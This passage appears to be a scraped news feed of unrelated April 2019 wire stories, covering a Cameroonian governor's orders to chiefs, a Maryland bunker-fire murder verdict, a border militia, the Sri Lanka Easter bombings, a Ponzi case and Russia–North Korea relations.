is there, but you are tied to the state with an obligation. Eh Chief? You know noh? I don't want to disclose it here. But we understand each other," Okalia said with a feigned smile. In a firm tone, he handed down a subtle threat: "If you fail to do what I am instructing, you'll see 30 days after, the consequences of that disobedience." Okalia turned to the Mayor of Buea, Ekema Patrick Esunge to know the number of villages within his municipality and the mayor's response put smiles on his face. He then instructed the Mayor to prepare placards bearing the names of all the villages in Buea - which placards will be carried by the Chiefs as they lead their kits and kins during the National Day parade. "So Lord Mayor, prepare the placards because soon they will say they don't have money. Prepare it. How many villages do we have in Buea? Ah,a hundred, put them on placards. Every Chief will march. And those who are in exile in Douala or Yaounde, Let them stay there. When they come back, they'll find someone else as chief," Okalia decreed. The governor is taking extra measures to guarantee massive participation at this year's National Day celebrations given that the sociopolitical situation in the North West and South West Regions is far from giving peace a chance. Most schools have remained shutdown, while many, including traditional rulers have been forced out of their homes due to the hostilities. All of the chiefs we contacted refused to comment on Governor Okalia's new marching orders. Some were quick to recall that some of the chiefs had been kidnapped in the recent past by armed men fighting for the independence of a country they call Ambazonia. The Ambazonia proponents had earlier rolled out a plan to frustrate Cameroon's National Day feast in the North West and South West regions. Meantime, Minister Paul Atanga Nji of Territorial Administration is known to have said that the state has the means and the will to have its way at all times. ROCKVILLE, Md. (AP) - The Latest on the trial of a wealthy stock trader in a bunker fire death at his Maryland home (all times local): 7:15 p.m. A jury has convicted a wealthy stock trader of second-degree murder and involuntary manslaughter in the fire death of a man who was helping him secretly dig tunnels for an underground nuclear bunker beneath his Maryland home. Jurors deliberated for roughly 12 hours before returning their verdict late Wednesday in the case of 27-year-old stock trader Daniel Beckwitt. Beckwitt had been charged with both offenses in the September 2017 death of 21-year-old Askia Khafra. Beckwitt did not testify at his trial, which lasted nearly two weeks. The fire erupted as Khafra was digging tunnels under Beckwitt's Bethesda home, which was littered with piles of garbage. A prosecutor accused Beckwitt of recklessly endangering Khafra's life and sacrificing safety for secrecy. Defense attorney Robert Bonsib told jurors the fire was an accident, not a crime. ___ 3:20 p.m. A jury has apparently reached a verdict on one of two counts against a wealthy stock broker charged in the fire death of a man who was helping him dig tunnels for a nuclear bunker beneath a Maryland home. In a note Wednesday to the judge, jurors said they've reached an agreement on one of the counts but are at an impasse on the other charge against 27-year-old Daniel Beckwitt. The note doesn't indicate which charge they can't agree on. Beckwitt is charged with second-degree murder and involuntary manslaughter in the 2017 death of 21-year-old Askia Khafra. The judge instructed the jurors to keep deliberating. Defense attorney Robert Bonsib has said Khafra's death was an accident, not a crime. But Montgomery County prosecutor Marybeth Ayres said Beckwitt sacrificed safety for secrecy and created the conditions that prevented Khafra from escaping the fire. NASHVILLE, Tenn. (AP) - A proposed school voucher bill in Tennessee has caught the attention and support of President Donald Trump. Trump tweeted Wednesday that Tennessee was close to "passing school choice" and all children "deserve a shot at achieving the American Dream!" The tweet comes as Republican Gov. Bill Lee is backing voucher-style legislation expanding the amount of taxpayer dollars that can be used to pay for private schools and other expenses. Under Lee's proposal, parents of students in certain low-performing school districts could receive up to $7,300 in state funds, but they would need to have incomes below the federal poverty level. Earlier this month, Education Secretary Betsy DeVos visited Nashville and encouraged lawmakers to back the plan. The bill narrowly passed the House this week. SUNLAND PARK, New Mexico (AP) - Authorities on the U.S.-Mexico border have distanced themselves from an armed civilian group that detains asylum-seeking families, but the United Constitutional Patriots have never been shy about saying they work with Border Patrol agents. After its activities drew widespread criticism, the group was thrown out of its camp this week for trespassing in Sunland Park, New Mexico, a suburb of El Paso, Texas. Frequent social media posts show masked men in combat fatigues chasing migrants and ordering them to stay put until border agents arrive. Videos capture agents taking migrants into custody. Jim Benvie, a spokesman for the group, said in a March 7 video on Facebook titled "Hunting illegals/us Mexico border" that he agreed to join the effort because he was "looking for action and video." He encouraged anyone who "wants to do the militia thing" to come to Sunland Park - with a gun, if available. "Everything is registered, so you work in hand with the Border Patrol," he said. Armed civilian groups have been an intermittent presence on the border for years, portraying themselves as auxiliaries to the Border Patrol and operating in areas where agents are not stationed. As the videos show, U.S. authorities keep them at arm's length while also responding to reports of people entering the country illegally. Customs and Border Protection, which includes the Border Patrol, said Friday on Twitter that it "does not endorse or condone private groups or organizations that take enforcement matters into their own hands." An self-styled Patriot stands a quarter mile from a barrier that marks the U.S.-Mexico border Tuesday, April 23, 2019, in Sunland Park, N.M., hours before being removed from his group's campsite by police. Members of the United Constitutional Patriots gained national attention after filming themselves detaining immigrants who cross the border to the east where the wall ends. (AP Photo/Cedar Attanasio) "Interference by civilians in law enforcement matters could have public safety and legal consequences for all parties involved," the agency said. The Sunland Park police chief said he had told the small group they could stay as long as they did not try to arrest anyone or hold anybody at gunpoint. Three Democratic members of Congress, including Veronica Escobar of El Paso, wrote FBI Director Christopher Wray asking for an investigation into the presence of armed civilians and any assistance from U.S. authorities. "The right to stop and detain should be reserved to law enforcement," they wrote. Border Patrol spokesman Carlos Antunez said Wednesday that agents will investigate such groups only if a migrant complains, which has not happened with the United Constitutional Patriots. If the group is detaining migrants, "that's all they're doing," Antunez said. "At that point, we take charge ... We end up arresting the people that entered illegally, and then we take it from there." The group's leader, Larry Hopkins, was arrested last weekend on federal weapons charges. Hopkins, 69, was transferred Tuesday out of a New Mexico jail after suffering unspecified non-life threatening injuries, the Dona Ana County Sheriff's Office said. Benvie narrated a March 13 video under the words "Caught another group of well-dressed illegals." He said the Border Patrol will arrive "in a minute" and then showed an agent taking a small group into custody. Three days later, he posted another video under the heading "Detained a man with a baby!" As an agent arrived, Benvie said, "The border is overrun. We're being invaded." In another video, he said: "It's a war zone, guys. This is like the Wild West, but we caught these guys right away." A video that drew strong criticism included a man who could be heard reporting on a group of at least 200 migrants. Benvie alerted viewers when the Border Patrol arrived. The group was thrown out of its camp Tuesday after Union Pacific Railroad posted no-trespassing signs nearby. "Base camp is relocating, new videos coming soon!" Benvie wrote the next day. Two El Paso men who were fishing on the Rio Grande in Sunland Park were skeptical of the group. "We all look Mexican. How are they going to know the difference?" asked Angel Martinez, a 34-year-old factory worker. "That's what Border Patrol is for." His friend and fellow fisherman Henry Aguilar, a delivery driver, once worked at an immigration detention center where he came into contact with hardened Central American gang members from MS-13, who he's glad were deported. But the families being detained by the militia "are not even threats," he said. In the past, vigilante patrols interrupted his fishing farther downstream, near where the United Constitutional Patriots plan to relocate. He believes a member of the group approached him last summer. "He told us we couldn't fish there. I told him to identify himself, and he refused to do so," Aguilar recalled. "He had camo gear on, and he had a hat, and he was covered from the nose down." ___ Spagat reported from San Diego. An trailer used by members of the United Constitutional Patriots sits a quarter mile from a barrier that marks the U.S.-Mexico border Tuesday, April 23, 2019, in Sunland Park, N.M., hours before its occupants were evicted by police. Members of the United Constitutional Patriots gained national attention after filming themselves detaining immigrants who cross the border to the east where the wall ends. (AP Photo/Cedar Attanasio) "Viper," a member of the United Constitutional Patriots stands dejected after Union Pacific Police evicted the group from their camp in Anapra, N.M., Tuesday, April, 23, 2019. The group was camping on Union Pacific land. (Mark Lambie/The El Paso Times via AP) A Union Pacific Police unit sits guard as members of the United Constitutional Patriots group vacates their camp near the border in Anapra, N.M., Tuesday, April, 23, 2019. Sunland Park police and security officers with the railroad company told members of the United Constitutional Patriots on Tuesday they needed to move their trailers and equipment. (Mark Lambie/The El Paso Times via AP) "Viper," a member of the United Constitutional Patriots stands dejected after Union Pacific Police evicted the group from their camp in Anapra, N.M., Tuesday, April, 23, 2019. The group was camping on Union Pacific land. Group spokesman Jim Benvie said in a social media post that the group will relocate and that operations will continue. (Mark Lambie/The El Paso Times via AP) This April 20, 2019 booking photo from the Dona Ana County Sheriff's Office shows Larry Hopkins. Authorities say that Hopkins, 69, the leader of a group that has detained asylum-speaking migrants along the U.S.-Mexico border, was injured while he was jailed in Las Cruces, N.M., after being arrested on federal weapons charges. The Dona Ana County Sheriff's Office said Wednesday, April 24, 2019 in a statement that Hopkins was transferred Tuesday out of the county jail after suffering non-life threatening injuries Monday night. (Dona Ana County Sheriff's Office via AP) Sunland Park Police Chief Javier Guerra speaks from his headquarters in Sunland Park, N.M., Tuesday, April 23, 2019. Guerra's department assisted with the eviction of a militia group that was patrolling the border, detaining immigrants, and posting videos of their actions on Facebook. The groups was made to leave after the police received a complaint that they were on private property. (AP Photo/Cedar Attanasio) "Viper," a member of the United Constitutional Patriots stands dejected after Union Pacific Police evicted the group from their camp in Anapra, N.M., Tuesday, April, 23, 2019. The group was camping on Union Pacific land. (Mark Lambie/The El Paso Times via AP) Members of the United Constitutional Patriots plan their next move after being evicted from Union Pacific land where they were camped for months watching for asylum seekers crossing the border Tuesday, April 23, 2019, in Anapra, N.M. (Mark Lambie/The El Paso Times via AP) FORT CARSON, Colo. (AP) - The U.S. military says an Idaho soldier assigned to Fort Carson, Colorado, has died in a noncombat incident in Iraq. The Defense Department said Wednesday that 20-year-old Spc. Michael T. Osorio died Tuesday in Taji, Iraq. No details were released, and the military said an investigation was underway. Osorio was from Horseshoe Bend, Idaho. He was an intelligence analyst in Fort Carson's 3rd Armored Brigade, part of the 4th Infantry Division. He enlisted in the Army in July 2017 and was on his first deployment. His decorations included the Army Commendation Medal and the Army Achievement Medal. AMHERST, Mass. (AP) - Former Attorney General Jeff Sessions on Wednesday said it is time to move past special counsel Robert Mueller's Russia investigation and "get on with the business of America." Sessions urged confidence in the system during a lecture at Amherst College, a private liberal arts school in western Massachusetts. "The process was followed and a decision has now been rendered. I think it deserves respect," he said. "I think it's about time to accept the results and let's get on with the business of America." President Donald Trump's former attorney general said that Mueller's investigation into Russian interference in U.S. elections was "carried out vigorously and with integrity." He said Congress does have oversight power but he believes it is time to accept that Mueller declined to recommend criminal charges against the president. Some Democrats have called for impeachment proceedings against Trump in light of the report that left open whether the president broke the law. The event in a campus chapel was hosted by Amherst College Republicans, and it was interrupted by demonstrators who stood up in the front rows and walked out soon after Sessions began speaking. Sessions said the protest was not nearly as disruptive as one he faced last week at a university in Minnesota. Protesters gather on a green near Johnson Chapel, where former attorney general Jeff Sessions is speaking, at Amherst College in Amherst, Mass., Wednesday, April 24, 2019. (AP Photo/Jessica Hill) Campus free speech was a theme of his talk, and the former U.S. senator from Alabama said the disrespect he faced as a young Republican at Huntingdon College in Alabama pales in comparison to what young conservatives face at colleges today. "My impression is college Republicans nationwide are having a harder time today, facing more hostility, even bullying," he said, prompting laughter from some students. One student asked Sessions afterward if he was contributing to polarization by suggesting in his remarks that the faculty at Amherst is overwhelmingly liberal. In response, Sessions said, ""It's hard to polarize a college that's pretty one-sided." Sessions said he also stood by his decision to recuse himself from the Russia investigation. As somebody who had been involved in the Trump campaign and was a potential witness in the investigation, he said it did not make sense for him to remain in authority over the investigation. "I have the greatest confidence in the integrity of our system," he said. A protester speaks to police outside Johnson Chapel, where former attorney general Jeff Sessions is speaking, at Amherst College in Amherst, Mass., Wednesday, April 24, 2019. (AP Photo/Jessica Hill) Students walk out of Johnson Chapel, where former attorney general Jeff Sessions is speaking, at Amherst College in Amherst, Mass., Wednesday, April 24, 2019. (AP Photo/Jessica Hill) Mark Medoff, a provocative playwright whose "Children of a Lesser God" won Tony and Olivier awards and whose screen adaptation of his play earned an Oscar nomination, has died in Las Cruces, New Mexico. He was 79. Medoff died Tuesday in a hospice surrounded by family, according to his daughter, Jessica Bunchman. He had been battling both multiple myeloma, a cancer, and renal failure, she said Wednesday in a family statement. Medoff wrote 30 plays and wrote, produced or directed 19 movies. He found his greatest success with "Children of a Lesser God," the tale of a troubled love affair between a speech teacher and a deaf woman who struggle to overcome the communications gap between their two cultures. Phyllis Frelich won a Tony in 1980 for her Broadway portrayal of Sarah Norman, the deaf woman at the heart of the play, which ran for almost 900 performances. It was later made into a movie, which won an Academy Award for actress Marlee Matlin, who co-starred opposite William Hurt. Medoff was a caring adviser to many in the business, according to the statement. "He had a way of making every creative heart with whom he worked feel as if their work, or their part in his work, was the single most important thing to him in the moment. In turn, hundreds of writers, actors, directors and creatives all over the world consider Mark Medoff a mentor," the statement said. FILE - In this April 8, 2004 file photo, playwright Mark Medoff, left, and actress Phyllis Frelich pose for a photo in New York. Medoff, who wrote the award-winning play "Children of a Lesser God," has died in New Mexico at age 79. Medoff's daughter, Jessica Bunchman, confirmed that he died Tuesday, April 23, 2019, in a Las Cruces hospice, surrounded by family. Frelich won a Tony in 1980 for her Broadway portrayal of Sarah Norman, the deaf woman at the heart of the play. (AP Photo/Justin Walters, File) Matlin tweeted on Wednesday: "Mark Medoff, the brilliant mind behind the Tony Award winning play, 'Children Of A Lesser God,' has passed at 79. He insisted and fought the studio that the role be played by a deaf actor; I would not be here as an Oscar winner if it weren't for him. RIP Dear Mark." A Broadway revival last year of "Children of a Lesser God" starred Joshua Jackson and Lauren Ridloff, a former Miss Deaf America who earned a Tony nomination. Medoff's work often tackled social issues, from animal testing and AIDS in the play "Prymate," to American myths and disorders in the Obie-winning stage work "When You Comin' Back, Red Ryder" to poverty in India in his screenplay for the 1992 film "City of Joy." His 2015 play, "Marilee and Baby Lamb: The Assassination of an American Goddess," is about the last days of Marilyn Monroe. "Everything I do probably starts more from a social-issue impulse than anything else," the playwright told The Associated Press in 2004. "I went to a psychologist when I was 18 or 19 and he said I was the first kid he'd ever met who was rebelling against a happy childhood. So when I started writing, I began to expropriate social issues and quickly roped myself out of my angst." Medoff was inspired to write "Children of a Lesser God" after meeting Frelich and her husband, Robert Steinberg, a lighting designer. "I told him there were no roles for deaf actresses," Frelich recalled. "He said, 'OK, I'll write a play for you.' He did. He went home and wrote 'Children of a Lesser God.' He wanted to write a good play." Medoff was co-founder of the American Southwest Theatre Company and head of the Department of Theatre Arts for nine years at New Mexico State University, where he taught for years. He helped form the Creative Media Institute for Film & Digital Arts in 2005. "When the Creative Media Institute was just getting going, Mark told the faculty, 'Look, we can sit around and talk about how to teach people to make movies, or we can just go make movies,' which reflected his philosophy across life," said Amy Lanasa, a friend who now heads the institute, in the family statement. "Why sit around talking about it when you can get up and take action or create something?" Medoff's other works include the plays "The Wager," ''The Hand of Its Enemy," ''The Heart Outright," ''The Majestic Kid" and the screenplay for the HBO movie thriller "Apology." He also penned the 1978 Chuck Norris action film, "Good Guys Wear Black" and the black comedy "Refuge" starring Linda Hamilton in 2010. His second original Broadway play was in 2004 with "Prymate," which closed quickly after 23 previews and five performances, having in one week only grossed 8 percent of the theater's capacity. "Prymate" tells the story of two middle-age scientists and former lovers - an animal behaviorist and a biologist - in a tug-of-war over the fate of an aging gorilla rescued from an AIDS lab. The Associated Press review said "Medoff's dialogue is unsubtle, often crude and, what's worse, unbelievable." Variety called it "ludicrous." Medoff was born in Mount Carmel, Illinois, grew up in Miami Beach, Florida, and received his bachelor's in English from the University of Miami in 1962. He completed graduate studies in English in 1966 at Stanford University. Medoff is survived by his second wife, Stephanie Thorne, whom he wed in 1972, three daughters and eight grandchildren. In 1981, he also received an honorary degree from Gallaudet University for exemplary service to the deaf community. Medoff and his family have created The Hope E. Harrison Foundation to raise awareness and finance research to end the chromosomal anomaly Trisomy 18, which afflicts his 5-year old granddaughter, Hope. FORT WORTH, Texas (AP) - The man whom officials say shot and killed his young children and his sister-in-law before shooting himself had just taken a job with Child Protective Services and was in training to be a CPS investigator. Fort Worth police Sgt. Joe Loughman said Wednesday investigators believe 32-year-old Ronald Parra shot and killed 45-year-old Melinda Mercado, 4-year-old Alyssa Parra and 23-month-old Michael Parra before turning the gun on himself. Parra's wife found their bodies Monday in the family home in northern Fort Worth. No motive has been released. CPS spokeswoman Marissa Gonzales said Ronald Parra was hired March 18 and was being trained to be an investigator. The couple had been married since August 2013 and court records showed no sign of estrangement. Ronald Parra had no criminal record. NEGOMBO, Sri Lanka (AP) - Before the undertakers could move in, Anusha Kumari wrested herself away from her sisters and flung herself on the three coffins, wailing. In an instant, she was left childless and a widow when suicide bombers attacked churches and luxury hotels in and near Sri Lanka's capital of Colombo. The toll was highest at St. Sebastian's Church in Negombo. Of the more than 350 people killed by the suicide bombings that the government blamed on Muslim extremists, about a third of them died at the church in the seaside fishing town while attending Easter Mass. And perhaps no one lost more relatives than 43-year-old Kumari, whose daughter, son, husband, sister-in-law and two nieces were killed. They were buried three days later near the church on vacant land that has quickly become a cemetery for the victims. Kumari, who was injured from the blast, left the hospital to bury her family. Afterward, she reclined in a cane chair at her home, hooked up to an IV dangling from an open window. Gauze bandages covered the bridge of her nose and her right eye. There was still shrapnel in her face. A photo of her children was on the wall, while on the shelf were small statues of Jesus, Mary and St. Sebastian, an early Christian martyr riddled with wounds from Roman arrows. Anusha Kumari, center, weeps during a mass burial for her husband, two children and three siblings, all victims of Easter Sunday's bomb attacks, in Negombo, Sri Lanka, Wednesday, April 24, 2019. In an instant on Easter Sunday, Kumari, 43, was left childless and a widow when suicide bombers launched a coordinated attack on churches and luxury hotels in and just outside Sri Lanka's capital, Colombo. (AP Photo/Gemunu Amarasinghe) She could see her son's drum kit on the upstairs landing, a gift from his father after doing well on exams, and a school portrait of her daughter. All day, relatives, neighbors and nuns wandered in and out of the large house, offering food, consolation and prayer. "You won't believe it, but I had the perfect family," Kumari said. "In 24 years of marriage, my husband and I never argued. All four of us slept in the same room. Now I have lost everything." Tears mixed with blood from her bandaged right eye. "All these people, they have their own families. They'll go home and I'll be alone," she said. A brother-in-law, Jude Prasad Appuhami, said his extended family, one of the oldest and most prominent in Catholic-majority Negombo, marked all the religious holidays and rituals at St. Sebastian's, a Gothic-style church patterned after Reims Cathedral in France. On Easter, though, he wasn't in church with his 15 relatives because he had to drive a vehicle carrying a statue of Christ for a parade after Mass. Appuhami arrived midway through the service and heard the blast from the parking lot. He rushed in and was overwhelmed by the sight of so much blood. One of his sisters-in-law, who survived, shouted for him to help their niece. He found her with her eyes open, picked her up and rushed to the hospital, only to realize she was dead. Appuhami's wife and 10-year-old daughter, sitting in an alcove to the left of the altar, escaped with minor injuries. His 17-year-old daughter, Rusiri, who was sitting at the front of the church because she was going to do a reading from Scripture, also survived, but she was left with nerve damage that makes eating painful. On Wednesday, she struggled to grasp what she has seen. "I don't know how to think of it. It's like a dream," she said. During the funeral at the makeshift cemetery near St. Sebastian's, where mourners had to pass through security checks, a military drone buzzed overhead as the Rev. Niroshan Perera led prayers for the dead. Perera, who grew up with Kumari's husband, Dulip Appuhami, and his siblings, recalled going as a boy with his friends and family to the church's well, where the faithful believed the water could cure them of diseases. When the funeral ended, Perera encouraged everyone to go home quickly, fearing another attack. Perera, who lost 16 relatives and friends in the blast, said he no longer trusted the Sri Lankan government to protect his flock. ___ Associated Press journalist Gemunu Amarasinghe contributed to this report. Anusha Kumari holds portraits of her daughter Sajini Venura Dulakshi and son Vimukthi Tharidu Appuhami, both victims of Easter Sunday's bomb blast in Negombo, Sri Lanka, Wednesday, April 24, 2019. Kumari, 43, was left childless and a widow when suicide bombers launched a coordinated attack on churches and luxury hotels in and just outside Sri Lanka's capital, Colombo. (AP Photo/Gemunu Amarasinghe) Anusha Kumari, center, holds a coffin during a mass burial for her husband, two children and three siblings, all victims of Easter Sunday's bomb blast in Negombo, Sri Lanka, Wednesday, April 24, 2019. Kumari, 43, was left childless and a widow when suicide bombers launched a coordinated attack on churches and luxury hotels in and just outside Sri Lanka's capital, Colombo. (AP Photo/Gemunu Amarasinghe) MONTEVIDEO, Uruguay (AP) - Two companies from Uruguay and Colombia will become the first in Latin America to export medical marijuana products to Europe under deals announced Wednesday. Fotmer Life Sciences of Uruguay and Clever Leaves of Colombia will export cannabis extract and dried marijuana flowers to Germany, which they called the largest market in Europe, with an estimated 700,000 people using medicinal products derived from marijuana. Uruguay in December 2013 became the first country in the world to legalize a national cannabis market from growing to purchase for personal use, and the government later legalized the export of medical marijuana products to countries where it is legal, a move that has brought a wave of investment. Colombia, which has decriminalized pot use, legalized medical marijuana products. The announcements of the deals did not provide a dollar figure or start date. "This puts Uruguay on the world map" of pharmaceutical cannabis, said Fotmer CEO Jordan Lewis, an American who moved to Uruguay to participate in the cannabis industry after its legalization. In a press statement from Germany, Clever Leaves CEO Andres Fajardo said the export deal shows "that the Colombian market can reach international standards and produce high quality medicinal cannabis." FILE - In this Jan. 30, 2019 file photo, employees prune marijuana plants at a Fotmer SA, greenhouse in Nueva Helvecia, Uruguay. On April 24, 2019, Fotmer in Uruguay and another company in Colombia announced they will become the first to export legal medical marijuana products from Latin America to Europe, part of what the firms hope will become a growing trade. (AP Photo/Matilde Campodonico, File) The German company that will import the products, Cansativa GmbH, said it is the first time a European company is buying medicinal cannabis from Latin America. Benedikt Sons, co-founder and director of Cansativa, said in a statement the trade with Latin America will ensure better prices in Germany by expanding sources of supply beyond the Netherlands and Canada. Fotmer, based in the small town of Nueva Helvecia, employs 80 people and is investing $7 million in laboratories and 10 tons of marijuana crops for the export market. It sells dried cannabis flowers. Clever Leaves produces extracts oil from marijuana flowers that is used in pills, creams, ointments, patches and other products for the treatment of epilepsy and chronic pain, among other uses. It plans to produce 32 tons of dried marijuana flowers this year and increase that to 85 tons by 2020. ___ Follow AP's complete marijuana coverage: https://apnews.com/Marijuana LAS VEGAS (AP) - A father and son from Japan can be freed from federal custody to live with relatives in a rented Las Vegas apartment pending trial on fraud charges in what prosecutors call a $1.5 billion international Ponzi scheme, a judge decided Wednesday. U.S. Magistrate Judge Cam Ferenbach acknowledged a federal prosecutor's argument that former MRI International Inc. executives Junzo Suzuki and his son, Paul Suzuki, had the money to flee the country before trial and could be motivated to avoid trial and the possibility of spending the rest of their lives in prison. Ferenbach also was told U.S. Immigration and Customs Enforcement could deport the two men if they're freed. But the judge said that wouldn't make sense after the 70-year-old father and 40-year-old son were extradited from Japan to the U.S. They arrived in custody in Las Vegas last week and pleaded not guilty to charges against them. Prosecutor Danny Nguyen told Ferenbach the Suzukis reaped a combined $22.5 million in four years of a scheme that led a jury to find company chief Edwin Fujinaga guilty in November of 20 counts of mail fraud, wire fraud and money laundering. In court documents, U.S. attorneys compare Fujinaga to the biggest-ever U.S. Ponzi schemers: Bernard Madoff in New York, Allen Stanford in Houston, Scott Rothstein in Miami and Thomas Petters in Minnesota. Prosecutors are asking a judge to sentence the 72-year-old Fujinaga to 50 years in prison. He's due for sentencing May 23. Prosecutors said that from about 2009 to early 2013, more than $1 billion from more than 10,000 Japanese investors was wired to bank accounts in Las Vegas under Fujinaga's control. Investors were told they were buying claims from a medical collection business. Fujinaga was found guilty of using new investors' money to pay off previous investors while he lived a lavish lifestyle in Las Vegas, California and Hawaii. Nguyen said the Suzukis could face a theoretical sentence of up to 300 years in prison if they're convicted of all charges. Defense attorney Junji Suzuki, representing Junzo and Paul Suzuki, told Ferenbach they were in Japan and "didn't have an idea what Fujinaga was doing here in the United States." Paul Suzuki also spent several years living and working in Hawaii, his lawyer said. Junji Suzuki is not related to his clients. He said they have few financial assets remaining after settling a civil lawsuit related to the MRI International scheme. "We are sincerely trying to make a resolution before this case reaches trial," the attorney said. Uh-oh! It could be you, or it could be us, but there's no page here. Rev Fonki Samuel, PCC Moderator W. Musa The Presbyterian Church in Cameroon (PCC) is in deep crisis after a bitter letter from the Synod Clerk, Rev. Babila George Fochang revealed that the PCC Board of Trustees is in disarray. The Moderator, Rt. Rev. Samuel Fonki Forba is accused of conspiracy and highhandedness in the said letter. It is the first of its kind since 1957 that the Synod Clerk falls apart with decisions and actions taken by the sitting Moderator. In the letter, the Synod Clerk dismissed resolutions of a Board of Trustees meeting signed only by the Moderator. Rev. Babila said it was unconstitutional and fell short of expectations since some members werent represented. He criticised the secretary of the Moderator, whom according to the church constitution, is the just a co-opted member of the Board, yet had the audacity to respond to a petition written to the Board, when he is not a Board member. He further suggested that the church should pass a vote of no confidence on all its board members, if that would make things better. A similar step is said to have been taken by some board of trustee members resident in Douala, who condemned the Moderator for changing the venue of the anticipated board meeting earlier planned for Douala, to Buea. Despite all attempts to stop the said meeting through a petition sent to the Board, the meeting took place, chaired by the Moderator and resolutions were made to the dismay of the concerned board members. A letter from some three members of the Board, accused the Moderator of treating the PCC trustee members with scorn, disdain, contempt and disrespect. In the letter supposedly approved by Ba Nkom Raymond Gwanyalla, Chief Barrister Ada Kesi and Barrister Nico Halle, the trio expressed regrets that such concerns are emanating from God's House. Barrister Nico Halle has however warned that the said letter shared over social media is a draft of what they finally submitted to the board, as their signatures are not on the draft but on the final document. The current Moderator of the PCC, Rt. Rev. Fonki, has come under criticisms more than what any other past Moderator has ever gone through. Under his rule, Dr. Dorothy Njeuma, Pro-Chancellor of the Cameroon Christian University, a property of the PCC, resigned , after the church drew up a budget without involving the institution, although Christians contribute to its growth. Called on phone, the Moderator refused to comment on all these allegations. SEOUL, South Korea (AP) - North Korean leader Kim Jong Un's meeting with Russian President Vladimir Putin gives an intriguing twist to the global diplomatic push to resolve the nuclear standoff with North Korea, which appeared to hit a wall after a summit between Kim and President Donald Trump collapsed in February. It also adds a chapter to the storied but often-strained friendship between Pyongyang and Moscow, which was forged in war and weathered by the Soviet collapse and tensions surrounding the North's pursuit of nuclear weapons. A look at relations between the two sides since the 1950-53 Korean War: ___ KOREAN CONFLICT The old Soviet Union was directly involved in the founding of North Korea after the end of World War II, which ended Japan's colonial rule of the Korean Peninsula but resulted in a division between the Soviet-backed North and U.S.-controlled South. FILE - In this Aug. 23, 2002 file photo, Russian President Vladimir Putin, right, gestures as he talks to North Korean then leader Kim Jong Il during their meeting in Vladivostok. North Korean leader Kim Jong Un's meeting with Russian President Vladimir Putin gives an intriguing twist to the global diplomatic push to resolve the nuclear standoff with North Korea, which appeared to hit a wall after a summit between Kim and President Donald Trump collapsed in February. (AP Photo/Alexander Zemlianichenko, File) Soviet officers installed ambitious young nationalist Kim Il Sung, the grandfather of North Korea's current ruler and an ex-guerrilla commander who fought Japanese forces from Manchuria in the 1930s, as the Korean leader of the emerging state on the northern half the peninsula. By early 1950, Kim Il Sung successfully persuaded an initially reluctant Joseph Stalin to allow him to unify the Koreas by force, guaranteeing a swift victory. Kim Il Sung's forces launched a surprise attack on the South in June, triggering a devastating war that drew massive interventions by the United States and China and left millions killed or injured before stopping with an armistice in 1953. The Soviets supported North Korea during the war with weapons, military advisers and pilots but stayed out of land warfare, a decision that shaped Kim Il Sung's postwar efforts to strengthen his personal power and autonomy. Moscow's support became less important for Kim's internal control when he could count on China to counter the influence of the Soviets, especially after the late 1950s when relations between the two major communist powers grew increasingly hostile. While playing Moscow and Beijing against each other to win more political independence and aid, Kim Il Sung consolidated his domestic power by violently purging his pro-Soviet and pro-Chinese opponents. ___ SOVIET COLLAPSE Despite the ups and downs in bilateral relations, Soviet military, energy and food aid were crucial in keeping North Korea's struggling economy afloat for decades. That all changed in 1991 with the collapse of the Soviet Union, which instantly deprived Pyongyang of its main economic and security benefactor. The post-communist government in Moscow led by President Boris Yeltsin saw Russia as a partner of the U.S.-led West and had no enthusiasm to continue supporting North Korea with aid and subsidized trade. Moscow established formal diplomatic ties with Seoul in hopes of drawing massive South Korean investment and allowed its Soviet-era military alliance with North Korea to expire. There were widespread predictions that a collapse of the North Korean government was imminent. Facing an existential crisis, North Korea reacted by accepting more help from China, which despite a level of mutual distrust remains Pyongyang's only major ally and considers preventing a North Korean collapse critical to its security interests. The North also became more vocal in its pursuit of a nuclear deterrent, which forced the United States to the negotiation table. In 1994, shortly after the death of Kim Il Sung, North Korea reached a major agreement with the United States to halt plutonium production in exchange for energy and food aid and security assurances. The deal broke down in 2002 after U.S. officials confronted Pyongyang over a clandestine nuclear program using enriched uranium. ___ PUTIN IN PYONGYANG Russia began to reconsider its Koreas policies in the late 1990s over what it saw as disappointing business activity with South Korea and concerns that Moscow's heavy tilt toward Seoul diminished its influence in international efforts to deal with Pyongyang. The divergence between Moscow and the West over key security issues was also becoming clear. After his first election in 2000, Putin actively sought to restore Russia's ties with North Korea, visiting Pyongyang in July that year for a meeting with Kim Jong Il, the second-generation North Korean leader, where they issued criticism of U.S. missile defense plans. The trip was seen as Putin's message to the West that Russia would seek to restore its traditional domains of influence. Putin hosted two return visits by Kim Jong Il in 2001 and 2002. Russia was also a participant in the so-called six-party talks with North Korea that were aimed at persuading the North to abandon its nuclear program in exchange for security and economic benefits. The talks, which also involved the United States, China, South Korea and Japan, have stalled since December 2008. ___ KIM'S NEW WAY Kim Jong Un's meeting with Putin is the first summit between the countries since his father traveled to eastern Siberia for a meeting with then-Russian President Dimitry Medvedev in August 2011. Kim Jong Il died in December that year. Under Kim Jong Un, North Korea accelerated its weapons tests to turn a crude nuclear program into a viable arsenal that includes purported thermonuclear weapons and long-range missiles potentially capable of reaching the U.S. mainland. The Trump-Kim meeting in Vietnam in February broke down after the North demanded the removal of most of the U.S.-led sanctions against the country in exchange for a partial surrender of its nuclear program. Kim had said he would seek a "new way" if the United States continued to test his patience with sanctions. Kim's outreach to Putin could be part of his plans to expand his options and secure allies who would apply pressure on Washington to ease its stance on sanctions. Russia currently seems better positioned to endorse Kim's stance than China, which is locked in high-stakes trade negotiations with the U.S. The summit with Kim could also serve Putin's desire to increase Russia's regional clout. Although Moscow has never supported a nuclear-armed North Korea, it may share a view with Pyongyang that a weakened U.S. influence in the region would benefit both. Following three-way talks in Moscow last October, the deputy foreign ministers of North Korea, Russia and China called on the U.N. Security Council to "adjust" its sanctions regime on Pyongyang to facilitate progress in the nuclear negotiations. While Moscow and Beijing can't lift the sanctions on their own, they can give Pyongyang more breathing room if Kim persuades them to loosen their enforcement of the measures. In this April 23, 2019 photo, a visitor looks at banner showing the late leaders, from left, of China's Mao Zedong, North Korea's Kim Il Song, Russia's Joseph Stalin as she tours the exhibition hall of the Korean War in Seoul, South Korea, Tuesday, April 23, 2019. North Korean leader Kim Jong Un's meeting with Russian President Vladimir Putin gives an intriguing twist to the global diplomatic push to resolve the nuclear standoff with North Korea, which appeared to hit a wall after a summit between Kim and President Donald Trump collapsed in February. (AP Photo/Lee Jin-man) FILE - In this March 2, 2019 file photo, North Korean leader Kim Jong Un attends a 